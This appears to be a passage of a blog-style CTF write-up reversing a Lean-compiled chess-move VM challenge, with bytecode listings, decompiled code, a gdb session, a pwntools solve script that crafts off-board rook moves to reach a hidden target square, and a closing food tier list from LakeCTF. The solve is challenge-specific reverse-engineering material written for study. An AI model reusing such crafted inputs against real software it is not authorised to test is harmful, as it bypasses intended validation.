66: 215ad JLT r1, r5, 2 67: 3152d JGT r1, r5, 3 68: 511c SUB r5 r1 69: 30005 JA 3 (72) 70: 151c SUB r1 r5 71: 51bc MOV r5 r1 72: 3262d JGT r2, r6, 3 73: 621c SUB r6 r2 74: 30005 JA 3 (77) 75: 261c SUB r2 r6 76: 62bc MOV r6 r2 77: 200025055 JNE r5, 2, 2 78: 100006055 JNE r6, 1, 0 79: 200006055 JNE r6, 2, 0 80: 330005 JA 51 (131)
81: 4200103055 JNE r3, 66 ('B'), 1615 collapsed lines
82: 80a5 JLT r8, 0, 0 83: 4000008035 JGE r8, 64 ('@'), 0 84: 3152d JGT r1, r5, 3 85: 511c SUB r5 r1 86: 30005 JA 3 (89) 87: 151c SUB r1 r5 88: 51bc MOV r5 r1 89: 300005074 RSH r5 3 90: 3262d JGT r2, r6, 3 91: 621c SUB r6 r2 92: 30005 JA 3 (95) 93: 261c SUB r2 r6 94: 62bc MOV r6 r2 95: 565d JNE r5, r6, 0 96: 230005 JA 35 (131)
97: 5100123055 JNE r3, 81 ('Q'), 1817 collapsed lines
98: 80a5 JLT r8, 0, 0 99: 4000008035 JGE r8, 64 ('@'), 0 100: e151d JEQ r1, r5, 14 101: d261d JEQ r2, r6, 13 102: 3152d JGT r1, r5, 3 103: 511c SUB r5 r1 104: 30005 JA 3 (107) 105: 151c SUB r1 r5 106: 51bc MOV r5 r1 107: 300005074 RSH r5 3 108: 3262d JGT r2, r6, 3 109: 621c SUB r6 r2 110: 30005 JA 3 (113) 111: 261c SUB r2 r6 112: 62bc MOV r6 r2 113: 565d JNE r5, r6, 0 114: 110005 JA 17 (131)
115: 5700003055 JNE r3, 87 ('W'), 015 collapsed lines
116: 80a5 JLT r8, 0, 0 117: 4000008035 JGE r8, 64 ('@'), 0 118: 3152d JGT r1, r5, 3 119: 511c SUB r5 r1 120: 30005 JA 3 (123) 121: 151c SUB r1 r5 122: 51bc MOV r5 r1 123: 300005074 RSH r5 3 124: 3262d JGT r2, r6, 3 125: 621c SUB r6 r2 126: 30005 JA 3 (129) 127: 261c SUB r2 r6 128: 62bc MOV r6 r2 129: 560c ADD r5 r6 130: 100005055 JNE r5, 1, 0Notice that all the move checks besides the rook R and knight K check have this clause:
80a5 JLT r8, 0, 0 4000008035 JGE r8, 64 ('@'), 0This is a check to ensure that the end position is within the bounds of the board. The rook and knight checks don’t have this, so they have the ability to move off the board, which will be useful later.
Finally, if the move was valid, the program will check if the end position currently stores a 0x5a, or Z. If this is the case, the program will store 0x1337 at position 511 in memory, which is eventually what is returned. Otherwise, it will set the end position to the piece being moved, set the start position to 0, then loop back to check the next move.
131: 1002 ST W/IMM [r1], 0 132: 801 LD W/IMM r0, r8 133: 5a00050015 JEQ r0, 90 ('Z'), 5 134: 4002 ST W/IMM [r4], 0 135: 8303 ST W/IMM [r8], 0 136: 10000a004 ADD r10 1 137: ff8b0005 JA -117 (20) 138: 1ff00009004 ADD r9 511 139: 133700009002 ST W/IMM [r9], 4919wheres the z???
Given the last part of the program, we can see that our goal is somehow to move a piece onto a Z. However, there is no part of the program that actually writes a Z anywhere, so how could we possibly move on a Z?
Going back to the binary, I did a quick search for 0x5a and found an interesting function:
int64_t* l_main___lambda__2___boxed(int32_t* arg1, int32_t* arg2)
uint64_t rbx_1 = zx.q(arg1.d) & 1 uint64_t r14
if ((rbx_1.d & arg2.d) == 0) r14 = zx.q(lean_nat_big_eq(arg2, arg1))
8 collapsed lines
if ((arg2.b & 1) == 0) label_4fb317: int32_t rax_1 = *arg2
if (rax_1 s>= 2) *arg2 = rax_1 - 1 else if (rax_1 != 0) lean_dec_ref_cold(arg2) else r14.b = arg2 == arg1
10 collapsed lines
if ((arg2.b & 1) == 0) goto label_4fb317
if (rbx_1 == 0) int32_t rax_3 = *arg1
if (rax_3 s>= 2) *arg1 = rax_3 - 1 else if (rax_3 != 0) lean_dec_ref_cold(arg1)
int64_t rbx_2 = 0x5a
if (r14.b == 0) rbx_2 = 0
int64_t* result = lean_alloc_small(0x10, 1) *result = 1 result[1] = rbx_2 return resultIn one of the lambdas that gets applied to the list of moves, we have some equality check that if true, will cause 0x5a to be returned instead of 0.
With some debugging, I found that the two values that were being compared against were the 221 that was written to /tmp/moves.txt at the start of /chal.py, as well as the end position for every move in /tmp/moves.txt.
[ Legend: Modified register | Code | Heap | Stack | Writable | ReadOnly | None | RWX | String ]---- registers ----$rax : 0x000055555557e600 -> 0x0045474c004543fa$rbx : 0x0000000000000001$rcx : 0x00005555559d2d4c <lean_apply_1+0x40c> -> 0x01c7f640187f8b49$rdx : 0x0000000000000050$rsp : 0x00007fffffffbb30 -> 0x0000000000000001$rbp : 0x0000000000000001$rsi : 0x0000000000000001$rdi : 0x00000000000001bb$rip : 0x000055555564f30a <l_main___lambda__2___boxed+0x1a> -> 0x40c6940f41fd394c$r8 : 0x0000000000000030$r9 : 0x0000000000000000$r10 : 0x00007ffff78c0b78 -> 0x00007ffff78c0b68 -> 0x00007ffff78c0b58 -> 0x00007ffff78c0b48 -> ...$r11 : 0x0000000000000001$r12 : 0x00007ffff78c0b78 -> 0x00007ffff78c0b68 -> 0x00007ffff78c0b58 -> 0x00007ffff78c0b48 -> ...$r13 : 0x0000000000000001$r14 : 0x0000000000000001$r15 : 0x00000000000001bb$eflags: 0x202 [ident align vx86 resume nested overflow direction INTERRUPT trap sign zero adjust parity carry] [Ring=3]$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00---- stack ----$rsp 0x7fffffffbb30|+0x0000|+000: 0x0000000000000001 0x7fffffffbb38|+0x0008|+001: 0x0000000000000008 0x7fffffffbb40|+0x0010|+002: 0x0000000000000001 0x7fffffffbb48|+0x0018|+003: 0x00007ffff78e3138 -> 0xf500000000000002 0x7fffffffbb50|+0x0020|+004: 0x00007fffffffbb90 -> 0x00007fffffffbbd0 -> 0x00007fffffffbc10 -> ... 0x7fffffffbb58|+0x0028|+005: 0x00005555559d2d6b <lean_apply_1+0x42b> -> 0xf883078b41c38948 <- retaddr[1] 0x7fffffffbb60|+0x0030|+006: 0x0000000000000002 0x7fffffffbb68|+0x0038|+007: 0x0000000000000008---- code:x86:64 ---- 0x55555564f303 83e301 <l_main___lambda__2___boxed+0x13> and ebx, 0x1 0x55555564f306 85eb <l_main___lambda__2___boxed+0x16> test ebx, ebp 0x55555564f308 745f <l_main___lambda__2___boxed+0x18> je 0x55555564f369 <l_main___lambda__2___boxed+0x79>*-> 0x55555564f30a 4c39fd <l_main___lambda__2___boxed+0x1a> cmp rbp, r15 0x55555564f30d 410f94c6 <l_main___lambda__2___boxed+0x1d> sete r14b 0x55555564f311 40f6c501 <l_main___lambda__2___boxed+0x21> test bpl, 0x1 0x55555564f315 750d <l_main___lambda__2___boxed+0x25> jne 0x55555564f324 <l_main___lambda__2___boxed+0x34> 0x55555564f317 8b4500 <l_main___lambda__2___boxed+0x27> mov eax, DWORD PTR [rbp + 0x0] 0x55555564f31a 83f802 <l_main___lambda__2___boxed+0x2a> cmp eax, 0x2---- threads ----[Thread Id:1, tid:118598] Name: "main", stopped at 0x55555564f30a <l_main___lambda__2___boxed+0x1a>, reason: BREAKPOINT[Thread Id:2, tid:118601] Name: "main", stopped at 0x7ffff7da0b68 <epoll_pwait+0x78>, reason: BREAKPOINT---- trace -----> [#0] 0x55555564f30a <l_main___lambda__2___boxed+0x1a> [#1] 0x5555559d2d6b <lean_apply_1+0x42b> [#2] 0x5555559d2d6b <lean_apply_1+0x42b> [#3] 0x5555559d2d6b <lean_apply_1+0x42b> [#4] 0x5555559d2e24 <lean_apply_1+0x4e4> [#5] 0x5555559d2d6b <lean_apply_1+0x42b> [#6] 0x5555559d2d6b <lean_apply_1+0x42b> [#7] 0x5555559d2e24 <lean_apply_1+0x4e4> [#8] 0x5555559d2d6b <lean_apply_1+0x42b> [#9] 0x5555559d2d6b <lean_apply_1+0x42b>-----------------------gef>This means the Z only actually ever gets written (returned) if there is a move whose end position is equal to that memory address, as that lambda is checking equality on the value of the end position and the Z intended position.
In this case, the intended position of the Z is 221. Since this is not within the bounds of the board, we need to either use the rook or knight to move onto this space.
The reason gdb shows a value of 0x1bb is because of how Lean encodes natural numbers, where it uses the bottom-most bit to denote if the number is a pointer, as Lean supports arbitrary precision integers. Thus, 0x1bb, which is equal to 443, is actually the value (443 - 1) / 2 = 221. You can see this in the l_main___lambda__2___boxed function as well, where it checks the bottom-most bit to determine if it should perform a simple == check or call a function to check equality.
putting it together
Now since we know where the Z is supposed to be, we can simply have any rook move there in 2 moves. The rooks start at A8 or H8, so I simply chose the A8 one for convenience.
k = 221with open("/tmp/moves.txt", "w") as f: f.write(f"{k}\n")
row = (k // 8) + 1 col = (k % 8) + 65
moves = [ # b'\x08AR\x1bAR', # b'\x1bAR\x1bNR',
# move from A8 to A<row> b'\x08AR' + bytes([row]) + b'AR', # move from A<row> to <col><row> bytes([row]) + b'AR' + bytes([row, col]) + b'R', ] for move in moves: move = int.from_bytes(move, byteorder='little') f.write(f"{move}\n")
from pwn import processr = process("./main")r.interactive()Since I didn’t manage the solve this during the original CTF, I don’t have the flag (or any remote interaction). However, running the script will show that the run was successful.
$ python3 chal.py[+] Starting local process './main': pid 136290[*] Switching to interactive modeSuccessful run!flag{testing_flag}[*] Got EOF while reading in interactive$[*] Interrupted[*] Process './main' stopped with exit code 0 (pid 136290)food tier list
By demand of the higher ups, here is a food tier list of the things I ate during the trip to LakeCTF. No explanations are provided.
- italian lunch in geneva (ts so fire 🔥)
- fancy dinner dessert
- geneva center gelato
- shawarma wrap thing
- fancy dinner entrees: pork, asparagus, fish, potatoes, appetizer thing
- sushi and burger apero @ lakectf
- geneva ramen dinner
- pizza and beer apero @ lakectf
- bread and pastries breakfast @ lakectf
- mcdonald’s cheeseburger and 4 nuggets (only 5 francs)
- sandwiches lunch @ lakectf
- chicken wrap and smoothie from geneva airport
- small pizza bread thing from random bakery